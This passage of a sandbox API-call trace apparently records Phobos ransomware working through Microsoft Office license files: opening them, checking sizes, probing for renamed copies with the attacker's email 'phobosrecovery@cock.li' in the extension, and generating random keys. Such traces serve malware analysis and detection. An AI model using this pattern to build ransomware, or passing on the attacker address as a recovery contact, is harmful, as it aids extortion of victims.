lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10663) returned 1 [0153.145] CloseHandle (hObject=0x57c) returned 1 [0153.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-pl.xrm-ms")) returned 0x220 [0153.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.146] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.146] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20919) returned 1 [0153.146] CloseHandle (hObject=0x57c) returned 1 [0153.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ppd.xrm-ms")) returned 0x220 [0153.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.147] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.147] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11612) returned 1 [0153.148] CloseHandle (hObject=0x57c) returned 1 [0153.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ul-oob.xrm-ms")) returned 0x220 [0153.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.153] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.153] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.154] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19957) returned 1 [0153.154] CloseHandle (hObject=0x574) returned 1 [0153.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ul-phn.xrm-ms")) returned 0x220 [0153.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.154] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.155] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11203) returned 1 [0153.155] CloseHandle (hObject=0x574) returned 1 [0153.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-pl.xrm-ms")) returned 0x220 [0153.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.155] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.155] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.155] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.156] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=21408) returned 1 [0153.156] CloseHandle (hObject=0x574) returned 1 [0153.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-ppd.xrm-ms")) returned 0x220 [0153.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.156] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.156] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.156] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.157] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11650) returned 1 [0153.157] CloseHandle (hObject=0x574) returned 1 [0153.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-ul-oob.xrm-ms")) returned 0x220 [0153.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.157] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.158] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11183) returned 1 [0153.158] CloseHandle (hObject=0x574) returned 1 [0153.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-pl.xrm-ms")) returned 0x220 [0153.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.158] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.159] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20917) returned 1 [0153.159] CloseHandle (hObject=0x574) returned 1 [0153.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-ppd.xrm-ms")) returned 0x220 [0153.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.159] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.160] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11629) returned 1 [0153.160] CloseHandle (hObject=0x574) returned 1 [0153.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-ul-oob.xrm-ms")) returned 0x220 [0153.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.160] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.161] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11187) returned 1 [0153.161] CloseHandle (hObject=0x574) returned 1 [0153.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-pl.xrm-ms")) returned 0x220 [0153.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.161] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.161] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.164] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20918) returned 1 [0153.164] CloseHandle (hObject=0x574) returned 1 [0153.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-ppd.xrm-ms")) returned 0x220 [0153.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.166] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.167] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11634) returned 1 [0153.167] CloseHandle (hObject=0x574) returned 1 [0153.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-ul-oob.xrm-ms")) returned 0x220 [0153.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.167] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.168] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.168] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20847) returned 1 [0153.168] CloseHandle (hObject=0x574) returned 1 [0153.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_grace-ppd.xrm-ms")) returned 0x220 [0153.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.169] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.170] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.172] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11611) returned 1 [0153.172] CloseHandle (hObject=0x574) returned 1 [0153.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_grace-ul-oob.xrm-ms")) returned 0x220 [0153.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.173] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.174] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10655) returned 1 [0153.174] CloseHandle (hObject=0x574) returned 1 [0153.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-pl.xrm-ms")) returned 0x220 [0153.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft 